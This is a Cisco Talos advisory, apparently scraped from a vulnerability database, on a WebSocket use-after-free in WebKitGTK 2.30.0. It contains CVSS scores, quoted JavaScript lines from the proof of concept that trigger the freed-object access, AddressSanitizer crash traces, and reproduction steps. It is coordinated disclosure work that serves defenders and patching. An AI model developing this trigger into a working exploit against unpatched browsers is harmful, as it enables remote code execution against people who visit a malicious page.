Lucene search

K
talosMarcin ‘Icewall’ Noga of Cisco Talos.TALOS-2020-1155
HistoryNov 30, 2020 - 12:00 a.m.

Webkit WebSocket code execution vulnerability

2020-11-3000:00:00
Marcin ‘Icewall’ Noga of Cisco Talos.
www.talosintelligence.com
52

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.017 Low

EPSS

Percentile

87.4%

Summary

A code execution vulnerability exists in the WebSocket functionality of Webkit WebKitGTK 2.30.0. A specially crafted web page can trigger a use-after-free vulnerability which can lead to remote code execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

Tested Versions

Webkit WebKitGTK 2.30.0

Product URLs

<https://webkit.org/&gt;

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

WebKit is an open-source web content engine for browsers and other applications.

The vulnerabiliy is related with the WebSocket variable and the way it is handled during the document reloads. A malicious web page can lead to a use-after-free vulnerability and potential remote code execution.

To understand the vulnerability we will focus on script parts of the poc.html file because index.html should be straight forward. In function func_1 a reference to an index.html (parent) is obtained in line 19.

Line 18	  parent_doc = window.top.document;
Line 19	  html_obj = parent_doc.all[0];

Next eventhandler1 func is executed where WebSocket object is created line 28. Further, inside/just before WebSocket is closed in line 30 assigned onerror event handler free_it is executed.

Line 26	function eventhandler1(event)
Line 27	{
(...)
Line 29	  try { ws.onerror = free_it; } catch(e) { }
Line 30	  try { ws.close(); } catch(e) { }

Adding parent html object to current document body line 35 cause an “interesting” case where among the others WebSocket object ws is released.

Line 33	function free_it()
Line 34	{  
Line 35	  try { document.body.appendChild(html_obj); } catch(e) { }    
Line 36	}

We can observe it on an ASAN output:

0x6110002c0cd8 is located 88 bytes inside of 200-byte region [0x6110002c0c80,0x6110002c0d48)
freed by thread T0 here:
	#0 0x49494d in free (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x49494d)
	#1 0x7f60c6359bbc in non-virtual thunk to WebCore::WebSocket::stop() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4266bbc)
	#2 0x7f60c720fdb5 in WebCore::ScriptExecutionContext::stopActiveDOMObjects() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x511cdb5)
	#3 0x7f60c816f62b in WebCore::FrameLoader::frameDetached() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x607c62b)
	#4 0x7f60c7737f98 in WebCore::HTMLFrameOwnerElement::disconnectContentFrame() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5644f98)
	#5 0x7f60c6ec910f in WebCore::ContainerNode::removeChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd610f)
	#6 0x7f60c6ec5036 in WebCore::collectChildrenAndRemoveFromOldParent(WebCore::Node&, WTF::Vector&lt;WTF::Ref&lt;WebCore::Node, WTF::DumbPtrTraits&lt;WebCore::Node&gt; &gt;, 11ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt;&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd2036)
	#7 0x7f60c6ec38b4 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd08b4)
	#8 0x7f60c6ecd459 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dda459)
	#9 0x7f60c715b658 in WebCore::Node::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5068658)
	#10 0x7f606674b177  (&lt;unknown module&gt;)
	#11 0x7f60c0f691e0  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454f1e0)
	#12 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
	#13 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
	#14 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr&lt;JSC::Exception&gt;&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)

previously allocated by thread T0 here:
	#0 0x494bcd in malloc (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x494bcd)
	#1 0x7f60c113a08a in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x472008a)
	#2 0x7f60c633c98c in WebCore::ThreadableWebSocketChannel::create(WebCore::ScriptExecutionContext&, WebCore::WebSocketChannelClient&, WebCore::SocketProvider&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x424998c)
	#3 0x7f60c6350d8c in WebCore::WebSocket::connect(WTF::String const&, WTF::Vector&lt;WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt; const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425dd8c)
	#4 0x7f60c63500a0 in WebCore::WebSocket::create(WebCore::ScriptExecutionContext&, WTF::String const&, WTF::Vector&lt;WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt; const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425d0a0)
	#5 0x7f60c5bc748d in WebCore::constructJSWebSocket1(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad448d)
	#6 0x7f60c5bc5f7d in WebCore::JSDOMConstructor&lt;WebCore::JSWebSocket&gt;::construct(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad2f7d)
	#7 0x7f60bf80febb in JSC::LLInt::setUpCall(JSC::CallFrame*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x2df5ebb)
	#8 0x7f60c0f69e81  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454fe81)
	#9 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
	#10 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
	#11 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr&lt;JSC::Exception&gt;&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)		

And because that happens just before ws.close call at line 30 its further execution leads to a use-after-free condition:

==75258==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002c0cd8 at pc 0x7f60c45f7a8d bp 0x7ffeff4ba450 sp 0x7ffeff4ba448
READ of size 1 at 0x6110002c0cd8 thread T0
	#0 0x7f60c45f7a8c in non-virtual thunk to WebKit::WebSocketChannel::fail(WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x2504a8c)
	#1 0x7f60c635813e in WebCore::WebSocket::close(WTF::Optional&lt;unsigned short&gt;, WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x426513e)
	#2 0x7f60c5bce576 in WebCore::jsWebSocketPrototypeFunctionClose(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3adb576)
	#3 0x7f606674b177  (&lt;unknown module&gt;)	

Proper heap grooming can give an attacker full control of this use-after-free vulnerability and as a result could allow it to be turned into a arbitrary code execution.

Crash Information

==75258==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002c0cd8 at pc 0x7f60c45f7a8d bp 0x7ffeff4ba450 sp 0x7ffeff4ba448
READ of size 1 at 0x6110002c0cd8 thread T0
	#0 0x7f60c45f7a8c in non-virtual thunk to WebKit::WebSocketChannel::fail(WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x2504a8c)
	#1 0x7f60c635813e in WebCore::WebSocket::close(WTF::Optional&lt;unsigned short&gt;, WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x426513e)
	#2 0x7f60c5bce576 in WebCore::jsWebSocketPrototypeFunctionClose(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3adb576)
	#3 0x7f606674b177  (&lt;unknown module&gt;)

0x6110002c0cd8 is located 88 bytes inside of 200-byte region [0x6110002c0c80,0x6110002c0d48)
freed by thread T0 here:
	#0 0x49494d in free (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x49494d)
	#1 0x7f60c6359bbc in non-virtual thunk to WebCore::WebSocket::stop() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4266bbc)
	#2 0x7f60c720fdb5 in WebCore::ScriptExecutionContext::stopActiveDOMObjects() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x511cdb5)
	#3 0x7f60c816f62b in WebCore::FrameLoader::frameDetached() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x607c62b)
	#4 0x7f60c7737f98 in WebCore::HTMLFrameOwnerElement::disconnectContentFrame() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5644f98)
	#5 0x7f60c6ec910f in WebCore::ContainerNode::removeChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd610f)
	#6 0x7f60c6ec5036 in WebCore::collectChildrenAndRemoveFromOldParent(WebCore::Node&, WTF::Vector&lt;WTF::Ref&lt;WebCore::Node, WTF::DumbPtrTraits&lt;WebCore::Node&gt; &gt;, 11ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt;&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd2036)
	#7 0x7f60c6ec38b4 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd08b4)
	#8 0x7f60c6ecd459 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dda459)
	#9 0x7f60c715b658 in WebCore::Node::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5068658)
	#10 0x7f606674b177  (&lt;unknown module&gt;)
	#11 0x7f60c0f691e0  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454f1e0)
	#12 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
	#13 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
	#14 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr&lt;JSC::Exception&gt;&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)

previously allocated by thread T0 here:
	#0 0x494bcd in malloc (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x494bcd)
	#1 0x7f60c113a08a in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x472008a)
	#2 0x7f60c633c98c in WebCore::ThreadableWebSocketChannel::create(WebCore::ScriptExecutionContext&, WebCore::WebSocketChannelClient&, WebCore::SocketProvider&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x424998c)
	#3 0x7f60c6350d8c in WebCore::WebSocket::connect(WTF::String const&, WTF::Vector&lt;WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt; const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425dd8c)
	#4 0x7f60c63500a0 in WebCore::WebSocket::create(WebCore::ScriptExecutionContext&, WTF::String const&, WTF::Vector&lt;WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt; const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425d0a0)
	#5 0x7f60c5bc748d in WebCore::constructJSWebSocket1(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad448d)
	#6 0x7f60c5bc5f7d in WebCore::JSDOMConstructor&lt;WebCore::JSWebSocket&gt;::construct(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad2f7d)
	#7 0x7f60bf80febb in JSC::LLInt::setUpCall(JSC::CallFrame*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x2df5ebb)
	#8 0x7f60c0f69e81  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454fe81)
	#9 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
	#10 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
	#11 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr&lt;JSC::Exception&gt;&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x2504a8c) in non-virtual thunk to WebKit::WebSocketChannel::fail(WTF::String const&)
Shadow bytes around the buggy address:
  0x0c2280050140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2280050150: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x0c2280050160: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c2280050170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2280050180: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=&gt;0x0c2280050190: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x0c22800501a0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0c22800501b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c22800501c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c22800501d0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c22800501e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==75258==ABORTING
AddressSanitizer:DEADLYSIGNAL
=================================================================

Exploit Proof of Concept

  1. Unpack WebKit_WebSocket_POC.zip to a directory of your local web server.
  2. Build webkit with –asan –release flags
  3. Using Minibrowser navigate to an address pointing on an attached index_new.html
  4. Observe asan log in the console.

Credit

Discovered by Marcin ‘Icewall’ Noga of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Timeline

2020-09-21 - Vendor Disclosure
2020-11-19 - Vendor Patched
2020-11-30 - Public Release

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.017 Low

EPSS

Percentile

87.4%